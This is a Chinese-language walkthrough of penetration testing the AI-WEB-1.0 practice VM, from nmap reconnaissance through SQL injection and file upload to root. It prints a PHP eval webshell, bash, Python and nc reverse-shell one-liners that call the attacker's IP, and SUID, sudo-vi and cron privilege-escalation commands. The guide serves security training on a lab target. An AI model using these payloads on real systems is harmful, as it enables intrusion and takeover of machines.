AI-WEB-1.0靶机渗透实战:从信息收集到权限提升完整指南

1. 项目概述与靶机环境搭建

AI-WEB-1.0靶机是近年来在安全学习圈子里比较热门的一款模拟靶机,它集成了多种常见的Web应用漏洞和系统层面的安全弱点,非常适合用来练习从外部信息收集到最终获取系统最高权限的完整渗透测试流程。很多朋友在初次接触这类综合性靶机时,往往会在信息收集阶段就卡住,或者在提权的最后一步功亏一篑。今天,我就结合自己多次“通关”的经验,用Kali Linux作为攻击机,带大家走一遍完整的流程,并重点分享那些容易踩坑的环节。

首先,你得有一个能运行的环境。攻击机我推荐使用Kali Linux,无论是物理机安装、虚拟机(如VMware或VirtualBox)运行,还是用Docker容器,都可以。关键是网络要通。靶机AI-WEB-1.0通常是一个虚拟机镜像(如OVA格式),你需要把它导入到你的虚拟化软件里。这里第一个坑就来了:网络模式的选择。为了模拟真实的内网渗透场景,我强烈建议将Kali和靶机的网络都设置为“NAT模式”下的同一虚拟网络(比如VMware的VMnet8),或者使用“仅主机模式”。这样两者就在同一个局域网段内,可以直接互相访问。千万别一个用桥接,一个用NAT,到时候找不到靶机IP可就抓瞎了。

启动靶机后,它通常不会直接告诉你IP地址。这时,我们需要在Kali上进行初步的网络发现。打开终端,用ifconfigip addr命令先看看Kali自己获取到的IP,比如是192.168.1.105,那么靶机很可能就在同一个网段,例如192.168.1.0/24。接下来,就是信息收集的起手式了。

2. 信息收集:不只是扫描端口那么简单

信息收集是渗透测试的基石,方向错了,后面全是无用功。对于AI-WEB-1.0,我们的目标是找到它的IP和开放的服务。

2.1 网络发现与主机探测

首先,使用netdiscover进行ARP扫描,这是发现内网存活主机最快的方法之一:

sudo netdiscover -r 192.168.1.0/24

-r参数指定扫描范围。很快,你可能会发现一个除了你自己和网关之外的新IP,比如192.168.1.120,这很可能就是我们的目标靶机。记下这个IP。

注意:有些虚拟化环境(特别是VirtualBox的某些NAT配置)下,ARP扫描可能不奏效。如果netdiscover没结果,别慌,可以尝试用ping扫描。但更高效的方法是直接使用nmap进行主机发现。

sudo nmap -sn 192.168.1.0/24

-sn参数表示只进行主机发现(Ping扫描),不扫端口。这个命令会列出所有在线的主机。

2.2 全面端口与服务探测

确认靶机IP(假设为192.168.1.120)后,下一步是进行全面端口扫描,了解它对外开放了哪些“大门”。

sudo nmap -sS -sV -O -p- 192.168.1.120

这个命令组合了多项技术:

  • -sS: TCP SYN半开放扫描,速度快且相对隐蔽。
  • -sV: 版本探测,尝试识别运行在开放端口上的服务及其版本号。这是关键,知道版本才能查找对应的漏洞。
  • -O: 尝试进行操作系统识别。
  • -p-: 扫描所有65535个端口。对于靶机,全面扫描是必要的,实战中则需要根据情况调整。

扫描结果可能会显示类似以下内容:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 3306/tcp open mysql MySQL 5.7.33 8080/tcp open http-proxy?

从结果看,靶机开放了SSH(22)、Web(80)、MySQL(3306)和一个可能是另一个Web服务的端口(8080)。Web服务通常是我们的主攻方向。

2.3 Web路径与敏感信息挖掘

发现80和8080端口都有HTTP服务后,我们需要对网站进行目录扫描和指纹识别。

  1. 手动浏览:先用浏览器访问http://192.168.1.120http://192.168.1.120:8080,看看是什么应用,有没有明显的登录框、提示信息等。
  2. 目录爆破:使用工具如gobusterdirsearch来发现隐藏的目录和文件。
    gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
    -u指定目标URL,-w指定字典文件,-x指定要尝试的扩展名。这个过程可能会发现像/admin/backup/robots.txt/config.php这样的敏感路径。
  3. 检查源代码:在浏览器中查看页面源代码,有时开发者注释里会泄露路径、测试账号等信息。
  4. 技术栈识别:使用whatweb或浏览器插件(如Wappalyzer)识别网站使用的技术,比如PHP版本、框架(ThinkPHP、Laravel等)、前端库等。这能为后续漏洞利用提供方向。

实操心得:信息收集阶段一定要耐心和细致。我遇到过靶机把后台登录页面放在一个非常规的目录下,或者将phpMyAdmin放在非标准端口。把每个开放端口对应的服务都摸清楚,记录下所有可能成为突破口的细节,比如错误的SQL语句回显、暴露的API接口等。

3. 漏洞利用:寻找突破点

根据信息收集的结果,我们需要分析并尝试利用可能的漏洞。AI-WEB-1.0靶机通常会设计多个漏洞入口。

3.1 Web漏洞利用(以SQL注入为例)

假设我们在主站(80端口)发现了一个搜索功能或登录框,通过手动测试(输入单引号看是否报错)或工具sqlmap检测,发现存在SQL注入漏洞。

使用sqlmap进行自动化检测与利用:

sqlmap -u "http://192.168.1.120/search.php?id=1" --batch --dbs
  • -u: 指定可能存在注入的URL。
  • --batch: 以非交互模式运行,自动选择默认选项。
  • --dbs: 如果存在注入,尝试枚举数据库。

如果成功,sqlmap会列出数据库,比如webappmysql等。接着,我们可以指定数据库,枚举其中的表、字段,并最终拖取数据(如用户凭证)。

sqlmap -u "http://192.168.1.120/search.php?id=1" -D webapp --tables sqlmap -u "http://192.168.1.120/search.php?id=1" -D webapp -T users --columns sqlmap -u "http://192.168.1.120/search.php?id=1" -D webapp -T users -C username,password --dump

重要避坑点:sqlmap虽然强大,但请求频繁,容易触发靶机的防护机制(如IP封锁)或打乱你的测试思路。对于靶机练习,我建议先手动尝试判断注入类型(字符型还是数字型),构造简单的union select语句来获取信息,这能加深对漏洞原理的理解。例如,判断列数:

http://192.168.1.120/search.php?id=1 order by 5-- -

不断增加order by后面的数字,直到页面返回错误,就能确定查询的列数。

3.2 其他常见Web漏洞入口

  • 文件包含(LFI/RFI):如果URL参数像?page=about.php,可以尝试?page=../../../../etc/passwd来读取系统文件。成功的话,可能获取到系统用户信息,甚至结合日志文件包含getshell。
  • 文件上传:寻找头像上传、附件上传等功能。尝试上传Webshell(如一句话木马<?php @eval($_POST[‘cmd’]);?>)。关键是要绕过前端和后端的过滤,比如修改文件扩展名(shell.php.jpg)、使用双扩展名(shell.php.jpg)、在文件内容前添加图片魔数(GIF89a)、或者通过Burp Suite修改Content-Typeimage/jpeg
  • 命令执行:在Web界面找到可能存在系统命令调用的功能点,比如pingtraceroute。输入127.0.0.1; whoami127.0.0.1 && id来测试。
  • 8080端口的服务:另一个Web端口可能运行着不同的应用,比如一个内容管理系统(CMS)的旧版本,可能存在已知的公开漏洞。这时需要根据识别出的版本号,去Exploit-DB、GitHub等平台搜索对应的漏洞利用代码(Exp)。

4. 获取初始立足点:Webshell与反向Shell

通过上述漏洞,我们的目标是从“访问网站”变成“在靶机上执行命令”,即获得一个Shell。

4.1 上传Webshell并连接

假设我们通过文件上传漏洞,成功将一句话木马shell.php传到了服务器上的/uploads/目录。访问http://192.168.1.120/uploads/shell.php,页面可能空白,这正常。

接下来,我们需要一个工具来连接这个Webshell。可以使用中国蚁剑(AntSword)、冰蝎(Behinder)或哥斯拉(Godzilla)这类图形化工具,它们功能强大,支持加密连接。这里以更“原生”的方法为例,使用curl配合POST请求:

curl -X POST -d “cmd=whoami” http://192.168.1.120/uploads/shell.php

如果成功,会返回命令whoami的执行结果,比如www-data。这说明我们有了一个Web权限的Shell。但这是一个“一句话”Shell,功能有限,交互性差。

4.2 建立反向Shell

为了获得一个功能完整的交互式Shell,我们需要让靶机主动连接回我们的攻击机。这就是反向Shell。

  1. 在Kali上启动监听:使用netcat(nc)在某个端口(如4444)上监听。

    nc -lvnp 4444

    -l监听,-v详细信息,-n不解析域名,-p指定端口。

  2. 从靶机发起连接:通过我们已有的Webshell执行命令,让靶机连接回Kali。这需要根据靶机系统环境来构造命令。

    • Linux靶机(最常用)
      bash -c ‘bash -i >& /dev/tcp/192.168.1.105/4444 0>&1’
      或者使用python
      python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.105”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);’
    • Windows靶机:可以使用powershell脚本,但靶机环境可能不满足。更简单的方法是,如果靶机有nc(netcat),可以直接用nc 192.168.1.105 4444 -e cmd.exe

    将上述命令(注意替换Kali的IP192.168.1.105)通过Webshell(用curl-d参数提交)执行。如果一切顺利,你会看到Kali的nc监听窗口获得了来自靶机的连接,并出现了命令行提示符(如www-data@ai-web-1:/var/www/html$)。

避坑指南:这是最容易失败的一步。常见问题:

  1. 命令执行了但没连接:检查Kali的防火墙是否阻止了4444端口入站(sudo ufw allow 4444)。检查靶机命令中的IP和端口是否正确。
  2. 连接秒断:反向Shell不稳定。一旦连接成功,立即升级为一个完全交互式的TTY Shell,这会让操作更顺畅:
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

或者:

script -qc /bin/bash /dev/null

然后按Ctrl+Z挂起,在Kali终端输入stty raw -echo; fg,再输入reset,最后设置终端类型export TERM=xterm。 3.靶机没有python/bash/nc:尝试其他语言,如phpperlruby,或者使用msfvenom生成一个可执行文件上传后运行。

5. 权限提升:从www-data到root

拿到反向Shell后,我们通常是低权限用户(如www-data)。最终目标是root权限。提权(Privilege Escalation)是另一个重头戏。

5.1 信息收集(内部)

首先,在靶机内部收集信息,寻找提权线索。

whoami && id # 查看当前用户和权限 uname -a # 查看内核版本 cat /etc/os-release # 查看发行版信息 sudo -l # 查看当前用户可以以root身份无需密码运行哪些命令(非常重要!) find / -perm -u=s -type f 2>/dev/null # 查找SUID权限的文件 ps aux | grep root # 查看以root运行的进程 netstat -tulpn # 查看网络连接和监听端口 cat /etc/crontab # 查看计划任务 ls -la /home /root # 查看家目录,可能有其他用户或敏感文件

把这些信息仔细记录下来。

5.2 利用SUID提权

如果发现某些具有SUID权限的可执行文件(如findvimbashnmap旧版本等),并且属于root,那么可以利用它们来提权。例如,经典的find提权:

find . -exec /bin/bash -p \;

或者使用nmap的交互模式:

nmap --interactive !sh

但AI-WEB-1.0可能不会放这么简单的SUID漏洞。更常见的是利用sudo -l的发现。

5.3 利用sudo权限提权

如果sudo -l显示当前用户可以以root身份运行某些命令而无需密码,这就是黄金入口。例如:

User www-data may run the following commands on ai-web-1: (root) NOPASSWD: /usr/bin/vi /var/www/html/*

这意味着我们可以用vi以root身份编辑/var/www/html/下的任何文件。那么,我们可以在vi里执行系统命令:

sudo vi /var/www/html/test.txt

vi中,输入:!bash:!/bin/bash,就能直接获得一个root shell。类似的命令还有/usr/bin/python/usr/bin/perl/usr/bin/ftp等,都可以用来逃逸到shell。

5.4 内核漏洞提权

如果上述方法都不行,并且内核版本较旧,可以尝试搜索公开的内核漏洞(如DirtyCow、CVE-2021-4034等)。在Kali上,可以使用searchsploit来搜索:

searchsploit linux kernel 4.4 privilege escalation

找到对应的漏洞利用代码(C语言),将其上传到靶机(可以用python3 -m http.server在Kali开一个临时HTTP服务,用wgetcurl在靶机下载),编译并执行。

# 在靶机上 gcc exploit.c -o exploit chmod +x exploit ./exploit

重大避坑点内核漏洞利用有风险!在真实环境中,错误的Exp可能导致系统崩溃(蓝屏/死机)。在靶机环境练习时,也建议先快照虚拟机。对于AI-WEB-1.0,设计者通常会更倾向于使用配置错误(如sudo、SUID、计划任务)而非内核漏洞来作为提权点,所以优先检查前面几种情况。

5.5 利用计划任务(Cron Job)提权

检查/etc/crontab/var/spool/cron/crontabs/,看是否有以root权限定期运行的任务,并且任务中的脚本或命令当前用户有写入权限。如果有,我们可以修改该脚本,插入反向Shell命令,等待计划任务执行,从而获得root权限的Shell。

6. 常见问题排查与实战技巧实录

在实际操作AI-WEB-1.0或其他靶机时,你肯定会遇到各种问题。这里我整理了一份“踩坑实录”:

问题现象可能原因排查与解决思路
nmap扫描不到靶机1. 网络配置错误(不同网段)
2. 靶机防火墙丢弃ICMP/探测包
1. 检查Kali和靶机IP是否在同一网段(ip addr)。
2. 使用nmap -Pn 靶机IP跳过主机发现直接扫端口。
能ping通但端口扫不出来靶机防火墙仅允许特定流量1. 尝试扫描全端口-p-
2. 尝试不同的扫描技术,如-sT全连接扫描(速度慢但更可靠)。
3. 检查是否只有Web端口(80,443,8080)开放,直接访问试试。
上传了Webshell但访问4041. 上传路径不对
2. 文件被重命名或移动
3. 服务器解析问题(如需要特定扩展名)
1. 仔细查看上传成功后的返回信息,确认文件路径和名称。
2. 尝试目录扫描,寻找上传目录。
3. 尝试.php.php5.phtml等不同扩展名。
反向Shell命令执行后无反应1. 命令语法错误或环境不支持
2. 出网限制(靶机无法访问外网/Kali IP)
3. Kali防火墙/安全组阻止
1. 换用其他语言payload(bash, python, perl, php轮流试)。
2. 在靶机上用ping 192.168.1.105测试到Kali的网络连通性。
3. 在Kali上用sudo tcpdump -i any port 4444监听,看是否有连接尝试。
获得Shell后立即断开Shell不是完全交互式TTY参考上文,使用python ptyscript命令升级Shell。
sudo -l要求输入密码当前用户不在sudoers文件里,或需要密码这条路走不通,转向其他提权方法,如SUID、内核漏洞、计划任务等。
内核Exp编译失败靶机缺少编译环境(gcc, make)或库文件1. 尝试静态编译的Exp。
2. 在Kali上交叉编译(相同架构)后上传。
3. 寻找不需要编译的脚本(如python版Exp)。
提权成功后找不到flagflag文件可能被隐藏或设置了特殊权限1. 使用find / -name *flag* 2>/dev/nullfind / -type f -exec grep -l “flag{” {} \; 2>/dev/null搜索。
2. 检查/root/home各用户目录、/var/www//opt等常见位置。
3. 注意文件名可能是.flagflag.txtproof.txt等。

最后再分享一个小技巧:在整个渗透过程中,养成随时记录的习惯。用文本文件或笔记软件记录下靶机IP、开放端口、发现的路径、漏洞点、尝试过的payload、获取到的用户名密码、内部信息收集结果等。这不仅能帮你理清思路,在遇到复杂靶机时,这份记录就是你的“作战地图”。AI-WEB-1.0靶机的设计往往环环相扣,前面信息收集到的某个不起眼的字符串,可能就是后面某个服务的密码。多练习,多思考,每一次“通关”都是对渗透测试生命周期的一次深刻理解。